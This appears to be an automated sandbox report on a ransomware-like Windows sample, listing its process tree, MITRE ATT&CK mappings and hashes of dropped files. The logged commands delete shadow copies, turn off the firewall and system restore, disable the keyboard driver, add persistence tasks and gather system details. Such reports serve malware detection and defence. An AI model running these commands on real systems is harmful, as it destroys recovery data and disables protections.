C:\Users\Admin\AppData\Local\Temp\yaziyorum.io_hyber.exe"C:\Users\Admin\AppData\Local\Temp\yaziyorum.io_hyber.exe"3⤵PID:6496
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C:\Windows\System32\wscript.exe"C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\makelnk.vbs2⤵
- Executes a VBScript file via the Windows Script Host.
PID:4404
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C:\Windows\SYSTEM32\schtasks.exe"schtasks" /create /tn "SysUpdateTask" /tr "C:\Users\Admin\AppData\Local\Temp\yaziyorum.io_hyber.exe" /sc onlogon /f2⤵
- Scheduled Task/Job: Scheduled Task
PID:2632
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\del.bat" "2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4980 -
C:\Windows\system32\vssadmin.exevssadmin delete shadows /all /quiet3⤵
- Interacts with shadow copies
PID:1008
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C:\Windows\System32\Wbem\WMIC.exewmic shadowcopy delete3⤵
- Suspicious behavior: EnumeratesProcesses
PID:1912
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C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c systeminfo > "C:\ProgramData\SysUpdate\Logs\sysinfo.txt"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4708 -
C:\Windows\system32\systeminfo.exesysteminfo3⤵
- Gathers system information
PID:3752
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C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c tasklist > "C:\ProgramData\SysUpdate\Logs\tasklist.txt"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:5632 -
C:\Windows\system32\tasklist.exetasklist3⤵
- Discovers running processes
- Suspicious use of AdjustPrivilegeToken
PID:4080
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C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c whoami > "C:\ProgramData\SysUpdate\Logs\whoami.txt"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:3384 -
C:\Windows\system32\whoami.exewhoami3⤵
- Suspicious use of AdjustPrivilegeToken
PID:6276
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C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c net user > "C:\ProgramData\SysUpdate\Logs\netuser.txt"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:2040 -
C:\Windows\system32\net.exenet user3⤵
- Suspicious use of WriteProcessMemory
PID:4972 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 user4⤵PID:2500
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C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c ipconfig /all > "C:\ProgramData\SysUpdate\Logs\ipconfig.txt"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:5612 -
C:\Windows\system32\ipconfig.exeipconfig /all3⤵
- Gathers network information
PID:6228
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C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c netstat -an > "C:\ProgramData\SysUpdate\Logs\netstat.txt"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:1164 -
C:\Windows\system32\NETSTAT.EXEnetstat -an3⤵
- Gathers network information
- Suspicious use of AdjustPrivilegeToken
PID:2524
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C:\Windows\SYSTEM32\schtasks.exe"schtasks" /create /tn "RansomwareCheck" /tr "C:\Users\Admin\AppData\Local\Temp\yaziyorum.io_hyber.exe" /sc daily /f2⤵
- Scheduled Task/Job: Scheduled Task
PID:1380
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C:\Windows\System32\wscript.exe"C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs2⤵
- Executes a VBScript file via the Windows Script Host.
PID:2992
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C:\Windows\System32\notepad.exe"C:\Windows\System32\notepad.exe"2⤵PID:7036
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C:\Windows\System32\vssadmin.exe"C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet2⤵
- Interacts with shadow copies
PID:4844
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C:\Windows\System32\wbem\WMIC.exe"C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:5548
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C:\Windows\System32\net.exe"C:\Windows\System32\net.exe" stop srservice2⤵
- Suspicious use of WriteProcessMemory
PID:2788 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop srservice3⤵PID:6680
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C:\Windows\System32\netsh.exe"C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off2⤵
- Modifies Windows Firewall
- Event Triggered Execution: Netsh Helper DLL
PID:1892
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C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config i8042prt start= disabled2⤵
- Launches sc.exe
PID:4156
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C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop i8042prt2⤵
- Launches sc.exe
PID:5284
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C:\Windows\system32\LogonUI.exe"LogonUI.exe" /flags:0x0 /state0:0xa39c2855 /state1:0x41c64e6d1⤵
- Drops file in System32 directory
- Drops file in Windows directory
- Checks processor information in registry
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
PID:936
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k CameraMonitor1⤵PID:7020
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C:\Users\Admin\AppData\Local\Temp\yaziyorum.io_hyber.exeC:\Users\Admin\AppData\Local\Temp\yaziyorum.io_hyber.exe1⤵PID:6460
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C:\Users\Admin\AppData\Local\Temp\yaziyorum.io_hyber.exeC:\Users\Admin\AppData\Local\Temp\yaziyorum.io_hyber.exe1⤵PID:1376
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C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵PID:6824
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
4PowerShell
1Visual Basic
1Windows Command Shell
1Scheduled Task/Job
1Scheduled Task
1System Services
2Service Execution
2Windows Management Instrumentation
1Persistence
Boot or Logon Autostart Execution
2Registry Run Keys / Startup Folder
2Create or Modify System Process
4Windows Service
4Event Triggered Execution
1Netsh Helper DLL
1Scheduled Task/Job
1Scheduled Task
1Privilege Escalation
Boot or Logon Autostart Execution
2Registry Run Keys / Startup Folder
2Create or Modify System Process
4Windows Service
4Event Triggered Execution
1Netsh Helper DLL
1Scheduled Task/Job
1Scheduled Task
1Defense Evasion
Direct Volume Access
1Impair Defenses
3Disable or Modify System Firewall
1Disable or Modify Tools
1Indicator Removal
2File Deletion
2Modify Registry
3Credential Access
Credentials from Password Stores
1Credentials from Web Browsers
1Unsecured Credentials
1Credentials In Files
1Replay Monitor
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Downloads
- Path C:\ProgramData\invoice_1.pdf
- Size 66KB
- SHA256 2bb962d971f373e47645d790574ff90b5506328fe5b49d23d7c305ec45a5a60f
- MD5 9e172c7fd746397d3dd0691fd854f8f6
- SHA1 aae1d16ef621254d23cbdf7c1ee8dfac3b9969be
- SHA512 43e0202b8ce3f5f0592d0b8233fc2ddf14dc76f3781a345b6bc05106c6b7b52790e607c61262cbabf36e910106e1300b9a145d47ca9a39ce28f2e6d22863f51d
- SSDEEP 1536:12Rveo0zwn1+7cRMa3EJd7OrjWjoB9oWojXQQdGU4I13Vx/tse8En:1gvQzwnA81Erm+CsXQQoRIJVx/tse8En
- TLSH T1116329334B23FDC5577F3D80F1942E820C883A6787B5666CFBC90A5938A5684DF2D598
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\SystemVolumeInformation\doc_3.pdf
- Size 66KB
- SHA256 f1cd98b86e1145154532965b02d316eca27152b6058e8b386aadede2efb8afd5
- MD5 466e90790b816804d1e2faa605a83a9a
- SHA1 5aa373df7be430a2821b5fbc9529b45758c8e4d0
- SHA512 b9169ad896b8fb041a826682a73e5220faadfa43853e6a60d1599241ce2a9eaef5e14a170192431e70f288e47aff657c3560521f82c510361a101faee047faba
- SSDEEP 1536:V2Rveo0zwn1+7cRMa3EJd7OrjWjoB9oWojXQQdGU4I13Vx/tse8Em:VgvQzwnA81Erm+CsXQQoRIJVx/tse8Em
- TLSH T1096329734B23FDC5577F3D80F0A42E420C883A6B8775666CFBC90A6939A5284DF2D598
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
- Size 243B
- SHA256 09a33b676b473f1d601379bbd0e880883a0e9653ba8d356de663226d15fb1311
- MD5 358fb4252068234fdaa7ea7c0f26ee10
- SHA1 33194cf535959be2b612d809128aec9016d68095
- SHA512 f1b35d5e991add4097589d70e1c4cd2516e1315ed24b5cb9c55da508581986462fd4b9861e1cbafcbc3e82775c0d7c4ae88c1f19258b29039c8bf71de06438d6
- TLSH T1B2D0A78BB14DC7B90001523B81F3CE8CE5A548693B57BE704AE5DD4E32D08C589FA543
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\del.bat
- Size 59B
- SHA256 a51f2a0f053ac35b4158bb02b75421ab3698e1d0ee4f926abf1bae3af1570c53
- MD5 9cecbebdcdd60358132849714a3b82f7
- SHA1 be6e20834a5726f3742f05e6bdfaff16118b147f
- SHA512 7b48bd66b4c741d2de2e8b7bc0eab8f438ddc1ed0c73e8b70add9bee400f6640f692884965032616e2d6911a22a17d1d3762421aa49fe021660c9052cfc0675a
- TLSH T13DA002620F961E5469529E5AD73425239D1F104CD1390012F05232903DA98DE0EC2144
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\makelnk.vbs
- Size 244B
- SHA256 d2ba4a90e8c7deff4f5f1a327721746f5b237084173c82ed4b691181a62314e7
- MD5 3a19de364b67a4e02147d54d51f0a784
- SHA1 e7373f39d154d1416bce2f5645a8c87da9eb3157
- SHA512 8e84def48389f3acb45de75cf301d46090ff1a9fc390a21b715ff2306f6b3d4af39bdd51d78225d7679d6dde83a2a84a8804cd628f4cf17511fffa65474ade95
- TLSH T1D3D0A78BB14DC7B90001523B80F3CE8CE6E148693B57BE709AA5DD4E33C088589FA543
- MD5 SHA1 SHA512 TLSH